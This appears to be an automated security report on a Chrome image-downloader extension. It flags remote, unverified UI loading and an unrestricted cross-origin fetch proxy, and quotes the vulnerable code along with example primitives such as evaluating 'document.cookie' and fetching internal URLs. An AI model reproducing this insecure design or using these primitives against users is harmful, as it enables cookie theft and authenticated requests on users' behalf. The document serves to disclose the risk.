Is 图片批量下载助手 safe?
图片批量下载助手 is high risk. The extension has no visible UI. Opening the panel loads a page from chrome.tool56.com into a shadow-DOM iframe. That page controls what it reads, sends, and runs as JS, with no integrity check, so behavior can change anytime unannounced.…
Who publishes ithxshi127 - 2 other listings from the same operator, none carrying a finding
hxshi127 - 2 other listings from the same operator, none carrying a finding
What this publisher told the store about itself, and the other listings that told it the same thing.
Same store account
2 other listings published from this account, 1k+ users between them, none of them carrying a finding.
AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.
Publishers can request a review.
Findings
Extension UI is served from a remote server with no integrity check
The extension has no visible UI.
Opening the panel loads a page from chrome.tool56.com into a shadow-DOM iframe.
That page controls what it reads, sends, and runs as JS, with no integrity check, so behavior can change anytime unannounced.
- Severity
- Medium unwanted
- Type
- Unexpected
- CWE
- CWE-829
- Source
- Dynamic sandbox
You open the extension panel by clicking the toolbar icon.
The extension has no bundled interface, opening the panel triggers a live fetch from the remote server.
The extension injects a shadow-DOM iframe whose src is a URL on chrome.tool56.com, cache-busted by the current minute.
Whatever HTML and scripts the server returns at that moment become the extension's active behaviour.
Remote iframe injection, no SRI, cache-busted each minute
var baseUrl = 'https://chrome.tool56.com';// Dev fallback: switch to HTTP on .t TLDif (window.location.protocol === 'http:' && window.location.href.includes('.t/')) baseUrl = 'http://chrome.tool56.t';baseUrl += '/image-downloader/2.0/2.1.html';baseUrl += '?v=' + Math.floor(Date.now() / 60000); // cache-bust per minuteconst host = document.createElement('chrome-ext');host.id = 'chromeExt';document.body.parentNode.insertBefore(host, document.body.nextSibling);shadowRoot = host.attachShadow({ mode: 'open' });// Inject the remote iframe — no integrity attributeshadowRoot.innerHTML = ` ... <iframe id="imageDownloader" src="${baseUrl}" class="ext-frame"></iframe> ...`;- JavaScript evaluationrequestGetVal with val:'document.cookie'
Remote HTML can ask the extension to evaluate any JavaScript expression in the current page's context.
- Cross-origin fetch proxyrequestFetchUrlData → https://internal.example.com/api/v1/users
Remote HTML can direct the extension to fetch any URL on the internet and receive the full response.
- Full page HTML and URLrequestGetPageData → {html: '<!DOCTYPE html>…', urlInfo: location}
Remote HTML can read the complete DOM and current URL of any page you visit.
- Extension storage read/writerequestSaveSetting {field:'setting', data:{width:80}}
Remote HTML can read and overwrite any key in the extension's synced storage.
- chrome.tool56.com
Serves the extension's entire UI and determines which content-script primitives are invoked each session. Operated by the extension developer (phototool.cn).
Confirmed live: shadow DOM inspection on Wikipedia showed `<iframe src="https://chrome.tool56.com/image-downloader/2.0/2.1.html?v=29608474">`. The remote page loaded and immediately directed 23 background fetches (dynamic analysis). The extension ships no bundled HTML for the panel; all behaviour is runtime-determined.
Extension acts as an unrestricted cross-origin fetch proxy for a remote iframe
While the panel is open, a remote iframe from chrome.tool56.com can direct the extension to fetch any URL and get the full response.
Broad permissions bypass cross-origin limits and attach cookies. 23 requests confirmed live.
- Severity
- Medium unwanted
- Type
- Unexpected
- CWE
- CWE-940
- Source
- Dynamic sandbox
The remote iframe on chrome.tool56.com sends a postMessage with type 'requestFetchUrlData', any target URL, and custom headers.
No allowlist or origin validation is applied in the content script or background handler.
The background service worker fetches the target URL with extension privileges, reads the full response body, and posts all headers and content back to the remote iframe.
This grants the remote server the ability to issue authenticated cross-origin requests from the user's browser.
Background fetch handler, no URL restriction, full response returned
case 'fetchUrlData': var url = e.url || ''; var headers = e.header || {}; // caller-supplied, no validation var readType = e.readType || 'readAsText'; var result = { url: url, status: 0 }; fetch(url, headers) // any URL, any headers .then(function(response) { response.blob().then(function(blob) { var reader = new FileReader(); reader.onloadend = function() { result.data = this.result; // full response body result.status = 1; result.type = response.type; result.contentType = response.headers.get('Content-Type'); result.contentSize = response.headers.get('Content-Length'); result.statusCode = response.status; result.statusText = response.statusText; const allHeaders = {}; response.headers.forEach((v, k) => { allHeaders[k] = v; }); result.header = allHeaders; // all response headers sendResponse(result); // returned to remote iframe }; if (typeof reader[readType] !== 'function') readType = 'readAsText'; reader[readType](blob); }); }) .catch(function(err) { console.error('request error', err); result.status = 0; sendResponse(result); }); return true; // keep message channel open for async responseContent script relay, forwards iframe postMessage to background
case 'requestFetchUrlData': var msg = n; // n.url, n.header from the remote iframe msg.type = 'fetchUrlData'; // Forward to background service worker chrome.runtime.sendMessage(msg, function(bgResponse) { // Return full response (body + headers) to the remote iframe postMessage(bgResponse, callbackId); }); break;Confirmed live on Wikipedia: with the panel open, the chrome.tool56.com iframe issued 23 cross-origin GET requests to Wikipedia and Wikimedia image URLs (observed during dynamic analysis). All responses were relayed back to the iframe. The remote server, not the extension package, determines which URLs are fetched.
What it can do
Permissions this extension asks for, as declared in version 2.2.0. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to.
Read and change your data on every site you visit
*://*/*
Store data in your browser
storage
Add items to the right-click menu
contextMenus
Keep running in the background while your browser is open
background